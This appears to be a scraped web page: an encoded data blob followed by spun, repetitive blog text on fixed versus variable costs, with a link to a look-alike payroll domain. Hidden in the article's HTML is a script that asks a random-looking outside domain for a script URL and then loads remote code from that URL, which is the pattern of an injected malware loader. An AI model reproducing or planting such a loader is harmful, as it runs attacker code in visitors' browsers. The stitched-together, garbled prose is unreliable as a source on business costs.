dj7vj+3\/5ZpwGyYiKhJ39w+jH1OEAeW\/8A9+7PFtKO3b9A\/wDnnDWxsNvIf\/e2bNMzsTOmOPE2PbbyHl2+jHGo2u+y\/tH\/ANMitOPPZl33Hl9O+KTOQeP7TmeAOQ2sL33J3yT6eoM8qOBuAe4936PoyJaTv+j3fA+W+TfTGrercvEVipO+4BP6\/pzZR2Mw3ZaG1UIzRsu0gOzK3uG3b9W3f9eRvUMVx4Wl0uSN5VBPqthj4cp2J4xTecbk\/lbj9GKaotW\/syyNDMoASZezf4Lqezp9BxhSFqiWbZZ49xvJESwHfuTGRyQ7fDfMpGybRkl70r6pTlkhmrpFMny4Zucbxse2zK3cj6R59tstnoa6rs6nK9uzxM3iNEipvwjj2U7KpPYk+\/35O9a6dpWvpwubRSxrtDaQfho2PfiCB7cZI+Qf\/HG\/7njoo0YpXsMp3sScePYcFPhq5G\/YsFB293LLElTcdlhhSmub2Lj6T+kotc0805H8KwjrNTsAENXsqDwft3MZG6kD3HfzAzMuletJK8x0nXgKepw7IsshAr3V7hJo5fkhm28\/Iny79huZA3L7njswTf4DzP8AqOUX0ixaXZh8HVI4ZId\/Y8TtIjEdzFIp5o223dTnS0jWqunVMw3T5ooXVpGsvMVw2G++w3+Pv\/bmYS6EtUbaFqmqRR+6GwkNusn8SKOfbiO\/wPu884a71CFI9fi3\/K+5sHL9Owk23\/VnvafbG0lHNSLT9MnHlptRPY1PM+6168PM6booF3U5d05xbPDTHk0sj\/JLrv5HsPf8DV7mn3LY46lqGo2I\/wAaGCNakLr71kSIbMP\/AK5dehtAkWPw9Mo+BE23KZ\/wYfb3vPJ7Uu3f45y9T7YSqQcLWLWerJqOnKLzUY+6C0iPRaYgDeNZnfx7lg7sZ7DeftN3KL3A\/WfMnG3ojO+mKfjb1A\/\/AN7Nl30fofZhJcmaVh38KH2Igfpc+036RtkPF6GakfIQ6n1DXjaSSQQwahFFEjSOXYIgr9hyY5xOz147G4lXqrOVgsXkVVioR6ER198rRf8A3i0f\/eM3DlmWVfRBVWetNJqWv2fVbUFuOK1fimhM1eQSR80NfuNxt228zmmcstavfxvK\/eRWNiGhS7uOByGzC\/3Op\/5QdYfyyL\/eLmbaGz519DvVWnaZr\/VXr1iGqs9weE0zcQ5jsWeYB+jmP25yyY2j0vQXJtC1OKgJWtvVYRLAeMre0viLGQdyxi8QbDud9hmR+h\/U9KNNKlAerzxb+s1ZyBc8ddllkkGwMvcAch5eyNl8hp331OnfznR+uH\/DKX1zJ0JrD+PZuU4be+4vVLHq9oMNuLsyjjK42GxkB22zp6XqLsqnHwp\/voyGtS7xYJm9ThnQxzxxzRnzjljWRD+lXGxxDTNHqVdzWr1q5bsxggiiLD4MY1G4\/TlJApQ7Cn1nGIh+JerVrz7e4GZnBOey2YZCBJ1nRSPyYV9NrRuR\/FkMxKn6c9V\/E1m\/xOD4vRfXJT9jnyyWbrTqqppNcz2XAYqfBgBHizsPxUXz23I3byG+S\/oI6TmTT79zV4lNvX3MtqtInZKXBo4KsqN5Dw5JDxPkJFB7g5V+jqvQ+n2Bdl1SHU74IZbepWhYZGGxDRx8eKsCAQzbke45of31enfznR+uGeb1fWJ30ksYiuS\/VluhQVP1MluVrPRtp61lZbHTliVnpXVDSNRaRtzXsAdxsT5e\/wCUvfkovun3YbEazQSRzRP3WSNg6H9a+8fDJe76S+mZ43hm1DTpopFKSRSukkciHsVdGGzKfgczLUNG6NWVp9K1w6LK5JZKlvxKrEkn2q83moJPsg7fAZc0vtFUtoqnUXFH5ojrWqm8rmX09+3u+Ge5nkF9UG39WGlyj3GTS4A3\/wAE\/f8AXnD+p2CVudZReCfOOjWgpPt8BOrlgP053JdqrVLKi8+i+5X9in4lr1mzQtS\/cqcR2pJVMklbYP4UUezeNNt\/BDkUA95LDbtuRNZnVXpvoqB\/Eq9QXacjRhJnrapEj2CGLGSZjXJLsSOw2HYdsdeo9Mf9a9Z\/0zF9mypS7V003KVPd+Hh0N3ZPoxbQdAg6j6hvLbDy6Zo9ZKvBJpoVkvzvyc+JA4bdAkikb\/3tMvH3mem\/wDokv8ApHUvtORPo\/6h6U0StJWq6rDL41iS1NPaspLYlmkCqzSOqAHsg93x+OWE+lLp7850vrR\/wzyl1dzrVZVG3uy7CCikjO\/Sf0jU6bm0vWNNSSGrHaNTU42sWbCmG0AqTHx5DxCEP2HmWjy7A\/Dy\/wBWIdW9adLapSsULWpVDBZTg5SZA6kEOkkZZSBIrqrAkHuoyix6f0woVV6q1hVUBVUaxEAqgbAACt2AG2djR9d9jjKE02nyIK9t3jTRA+krT5amu6dPF2rare071ldjx9apWEEb\/BWMUn+0zYMza7o3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coffee shop owners must keep a keen eye on these costs, continuously monitor industry benchmarks, and make informed decisions based on solid financial insights. With its diverse range of products and services, the coffee industry experiences substantial cost variations. Ingredients, packaging, and labor during peak hours are just a few examples. Managing and predicting these variable costs is essential for a coffee shop to optimize its pricing, manage inventory efficiently, and ensure profitability. As another example, consider the problem of irrigating a crop on a farmer\u2019s field. The plot of land is the fixed factor of production, while the water that can be added to the land is the key variable cost.<\/p>\n<p>For example, a bakery will have to purchase more flour, sugar, and other ingredients to produce more cakes. Variable costs are expenses that change in direct proportion to your business\u2019s production levels. Recognizing variable costs is crucial for effective financial management and pricing strategies. In conclusion, effectively managing fixed and variable costs is vital for any business&#8217;s financial health and long-term success. XYZ Company operates a call center and incurs both fixed and variable costs. The fixed costs include rent, salaries, and software licenses, while the variable costs involve telecommunication charges and employee bonuses based on performance.<\/p>\n<p>Postage, telephone bills, and general office supplies shared by all departments also typically are not classified as operating expenses. Now let&#8217;s take a look at some of the most common types of operating expenses. Marketing doesn\u2019t just create brand awareness; it establishes a connection, attracts potential customers, and cultivates loyalty. With the right marketing strategy, a coffee shop can differentiate itself, elevate its brand perception, and drive foot traffic and sales.<\/p>\n<h2>Analyzing Expenses that Fluctuate with Production<\/h2>\n<p>In this section, we will delve deeper into the concept of fixed costs, providing examples, tips, and case studies to shed light on their significance in business operations. Maximizing profitability comes down to effectively managing both fixed and variable costs. Your business should strive to keep its variable cost per unit as low as possible without compromising on quality\u2014this ensures you\u2019re getting as much profit as possible for each unit sold. Effective cost control is another significant benefit of understanding and managing variable costs. By closely monitoring these costs, businesses can identify areas of inefficiency and take appropriate <a href=\"https:\/\/www.intuit-payroll.org\/fixed-vs-variable-costs-with-industry-examples\/\">Fixed Vs Variable Costs With Industry Examples<\/a> actions to reduce expenses.<\/p>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          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Fixed costs are like the rent you pay whether you\u2019re home all month or away on vacation\u2014they don\u2019t care about your activity level. These expenses remain constant regardless of how many products you make or services you provide. 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